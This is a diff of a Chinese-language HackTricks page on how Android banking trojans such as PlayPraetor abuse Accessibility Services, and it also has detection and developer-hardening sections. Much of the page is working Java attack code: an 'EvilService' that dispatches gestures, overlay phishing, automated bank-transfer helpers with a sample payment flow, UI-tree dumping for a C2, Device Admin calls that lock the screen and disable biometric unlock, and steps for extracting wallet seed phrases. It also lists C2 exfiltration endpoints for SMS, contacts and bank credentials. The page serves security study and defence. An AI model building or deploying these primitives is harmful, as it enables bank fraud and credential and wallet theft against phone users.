|
||||
3. 在用户看到看似正常的屏幕时,实时外传数据或执行 **On-Device-Fraud (ODF)** 。
|
||||
|
||||
---
|
||||
|
||||
@ -34,7 +34,7 @@ android:exported="false">
|
||||
android:resource="@xml/evil_accessibility_config"/>
|
||||
</service>
|
||||
```
|
||||
伴随的 XML 定义了假对话框的外观:
|
||||
配套的 XML 定义了伪对话框的外观:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
@ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/>
|
||||
```
|
||||
---
|
||||
|
||||
## 远程 UI 自动化原语
|
||||
## 远程 UI 自动化 原语
|
||||
```java
|
||||
public class EvilService extends AccessibilityService {
|
||||
@Override
|
||||
@ -68,16 +68,16 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
||||
}
|
||||
}
|
||||
```
|
||||
仅凭这两个API,攻击者可以:
|
||||
* 解锁屏幕,打开银行应用,浏览其UI树并提交转账表单。
|
||||
* 接受每个弹出的权限对话框。
|
||||
* 通过Play Store意图安装/更新额外的APK。
|
||||
仅凭这两个 APIs,攻击者可以:
|
||||
* 解锁屏幕,打开银行应用,遍历其 UI 树并提交转账表单。
|
||||
* 接受弹出的所有权限对话框。
|
||||
* 通过 Play Store intent 安装/更新额外的 APK。
|
||||
|
||||
---
|
||||
|
||||
## 滥用模式
|
||||
|
||||
### 1. 悬浮钓鱼(凭证收集)
|
||||
### 1. Overlay Phishing (Credential Harvesting)
|
||||
一个透明或不透明的 `WebView` 被添加到窗口管理器:
|
||||
```java
|
||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||
@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
||||
PixelFormat.TRANSLUCENT);
|
||||
wm.addView(phishingView, lp);
|
||||
```
|
||||
受害者在假表单中输入凭据,而后台应用接收相同的手势——从未显示可疑的“在其他应用上绘制”提示。
|
||||
受害者在假表单中输入凭证时,后台应用接收相同的手势——不会显示可疑的“draw over other apps”提示。
|
||||
|
||||
> 详细示例:*Accessibility Overlay Phishing*部分在Tapjacking页面内。
|
||||
> 详细示例:*Accessibility Overlay Phishing* 部分,见 Tapjacking 页面。
|
||||
|
||||
### 2. 设备内欺诈自动化
|
||||
恶意软件家族如**PlayPraetor**维护一个持久的WebSocket通道,操作员可以发出高级命令(`init`,`update`,`alert_arr`,`report_list`,……)。该服务将这些命令转换为上述低级手势,实现实时未经授权的交易,轻松绕过与该设备相关的多因素身份验证。
|
||||
### 2. On-Device Fraud automation
|
||||
恶意软件家族(例如 **PlayPraetor**)维持一个持久的 WebSocket 通道,操作者可以在其中发出高层命令(`init`, `update`, `alert_arr`, `report_list`, …)。该服务将这些命令翻译为上面提到的低级手势,实现实时的未授权交易,轻易绕过绑定到该设备的多因素认证。
|
||||
|
||||
### 3. 屏幕流媒体与监控
|
||||
通过将**MediaProjection API**与RTMP客户端库结合,RAT可以将实时帧缓冲区广播到`rtmp://<c2>:1935/live/<device_id>`,使对手在Accessibility引擎驱动UI时获得完美的情境意识。
|
||||
### 3. Screen streaming & monitoring
|
||||
通过将 **MediaProjection API** 与 RTMP 客户端库结合,RAT 可以将实时 framebuffer 广播到 `rtmp://<c2>:1935/live/<device_id>`,在 Accessibility 引擎驱动 UI 时为对手提供完整的态势感知。
|
||||
|
||||
---
|
||||
|
||||
## PlayPraetor – 命令与控制工作流程
|
||||
## PlayPraetor – command & control workflow
|
||||
|
||||
1. **HTTP(S) 心跳** – 遍历硬编码列表,直到一个域以活动C2响应`POST /app/searchPackageName`。
|
||||
2. **WebSocket (端口 8282)** – 双向JSON命令:
|
||||
* `update` – 推送新配置/APK
|
||||
* `alert_arr` – 配置覆盖模板
|
||||
* `report_list` – 发送目标包名称列表
|
||||
1. **HTTP(S) heartbeat** – 遍历硬编码列表,直到某个域名以 `POST /app/searchPackageName` 回应并返回活动 C2。
|
||||
2. **WebSocket (port 8282)** – 双向 JSON 命令:
|
||||
* `update` – 推送新的 conf/APKs
|
||||
* `alert_arr` – 配置 overlay 模板
|
||||
* `report_list` – 发送目标 package 名称列表
|
||||
* `heartbeat_web` – 保持连接
|
||||
3. **RTMP (端口 1935)** – 实时屏幕/视频流媒体。
|
||||
4. **REST 外泄** –
|
||||
* `/app/saveDevice`(指纹)
|
||||
3. **RTMP (port 1935)** – 实时屏幕/视频流。
|
||||
4. **REST exfiltration** –
|
||||
* `/app/saveDevice` (fingerprint)
|
||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||
* `/app/saveCardPwd`(银行凭据)
|
||||
* `/app/saveCardPwd` (bank creds)
|
||||
|
||||
**AccessibilityService**是将这些云命令转换为物理交互的本地引擎。
|
||||
本地引擎 **AccessibilityService** 将这些云端命令转换为物理交互。
|
||||
|
||||
---
|
||||
|
||||
## 检测恶意无障碍服务
|
||||
## Detecting malicious accessibility services
|
||||
|
||||
* `adb shell settings get secure enabled_accessibility_services`
|
||||
* 设置 → 无障碍 → *已下载服务* – 查找**不是**来自Google Play的应用。
|
||||
* MDM / EMM解决方案可以强制执行`ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY`(Android 13+)以阻止侧载服务。
|
||||
* 分析正在运行的服务:
|
||||
* Settings → Accessibility → *Downloaded services* – 查找非来自 Google Play 的应用。
|
||||
* MDM / EMM 解决方案可以强制 `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) 来阻止侧载服务。
|
||||
* Analyse running services:
|
||||
```bash
|
||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 应用开发者的加固建议
|
||||
## Hardening recommendations for app developers
|
||||
|
||||
* 用`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`标记敏感视图(API 34+)。
|
||||
* 将`setFilterTouchesWhenObscured(true)`与`FLAG_SECURE`结合使用,以防止点击/覆盖劫持。
|
||||
* 通过轮询`WindowManager.getDefaultDisplay().getFlags()`或`ViewRootImpl` API检测覆盖。
|
||||
* 当`Settings.canDrawOverlays()` **或** 非信任的无障碍服务处于活动状态时拒绝操作。
|
||||
* 使用 `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) 标记敏感视图。
|
||||
* 将 `setFilterTouchesWhenObscured(true)` 与 `FLAG_SECURE` 结合使用以防止 tap/overlay 劫持。
|
||||
* 通过轮询 `WindowManager.getDefaultDisplay().getFlags()` 或使用 `ViewRootImpl` API 检测 overlays。
|
||||
* 当 `Settings.canDrawOverlays()` **或** 非受信任的 Accessibility 服务处于活跃状态时拒绝继续操作。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
## ATS automation cheat-sheet (Accessibility-driven)
|
||||
恶意软件可以仅使用 Accessibility APIs 完全自动化银行应用。通用原语:
|
||||
```java
|
||||
// Helpers inside your AccessibilityService
|
||||
private List<AccessibilityNodeInfo> byText(String t){
|
||||
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||
}
|
||||
private boolean clickText(String t){
|
||||
for (AccessibilityNodeInfo n: byText(t)){
|
||||
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||
AccessibilityNodeInfo p = n.getParent();
|
||||
if (p != null) return p.performAction(ACTION_CLICK);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
private void inputText(AccessibilityNodeInfo field, String text){
|
||||
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||
field.performAction(ACTION_SET_TEXT, b);
|
||||
}
|
||||
private void tap(float x, float y){
|
||||
Path p = new Path(); p.moveTo(x,y);
|
||||
dispatchGesture(new GestureDescription.Builder()
|
||||
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||
}
|
||||
```
|
||||
Example flow (Czech → English labels):
|
||||
- "Nová platba" (新支付) → 点击
|
||||
- "Zadat platbu" (填写支付) → 点击
|
||||
- "Nový příjemce" (新收款人) → 点击
|
||||
- "Domácí číslo účtu" (国内账户号) → 聚焦并 `ACTION_SET_TEXT`
|
||||
- "Další" (下一步) → 点击 → … "Zaplatit" (支付) → 点击 → 输入 PIN
|
||||
|
||||
Fallback: 当因自定义控件导致文本查找失败时,使用硬编码坐标和 `dispatchGesture`。
|
||||
|
||||
Also seen: 通过导航到 limits UI 并在转账前提高日限额,先执行到 `check_limit` 和 `limit` 的预步骤。
|
||||
|
||||
## 基于文本的伪屏幕流
|
||||
为了低延迟远程控制,与其进行完整的视频流,不如将当前 UI 树的文本表示导出并反复发送给 C2。
|
||||
```java
|
||||
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||
if (n==null) return;
|
||||
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||
sb.append(indent).append("[").append(cls).append("] ")
|
||||
.append(txt==null?"":txt).append(" ")
|
||||
.append(b.toShortString()).append("\n");
|
||||
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||
}
|
||||
```
|
||||
这是像 `txt_screen`(一次性)和 `screen_live`(持续)等命令的基础。
|
||||
|
||||
## Device Admin 胁迫原语
|
||||
一旦 Device Admin receiver 被激活,这些调用会增加捕获凭证并维持控制的机会:
|
||||
```java
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||
|
||||
// 1) Immediate lock
|
||||
dpm.lockNow();
|
||||
|
||||
// 2) Force credential change (expire current PIN/password)
|
||||
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||
|
||||
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||
```
|
||||
注意:这些策略的具体可用性因 Android 版本和 OEM 而异;在测试期间请验证设备策略角色(admin vs owner)。
|
||||
|
||||
## 加密钱包助记词提取模式
|
||||
观察到适用于 MetaMask, Trust Wallet, Blockchain.com 和 Phantom 的流程:
|
||||
- 使用被窃取的 PIN(通过 overlay/Accessibility 捕获)或用户提供的钱包密码解锁。
|
||||
- 导航:Settings → Security/Recovery → Reveal/Show recovery phrase。
|
||||
- 通过对文本节点进行 keylogging、绕过 secure-screen,或在文本被遮挡时进行截图 OCR 来收集助记词。
|
||||
- 支持多种语言环境(EN/RU/CZ/SK)以稳定选择器 —— 优先使用 `viewIdResourceName`(如果可用),否则回退到多语言文本匹配。
|
||||
|
||||
## NFC-relay orchestration
|
||||
Accessibility/RAT 模块可以作为第三阶段安装并启动专用的 NFC-relay 应用(例如 NFSkate),甚至注入一个 overlay 指南,引导受害者完成带卡在场的中继步骤。
|
||||
|
||||
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||
|
||||
---
|
||||
|
||||
## 参考资料
|
||||
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user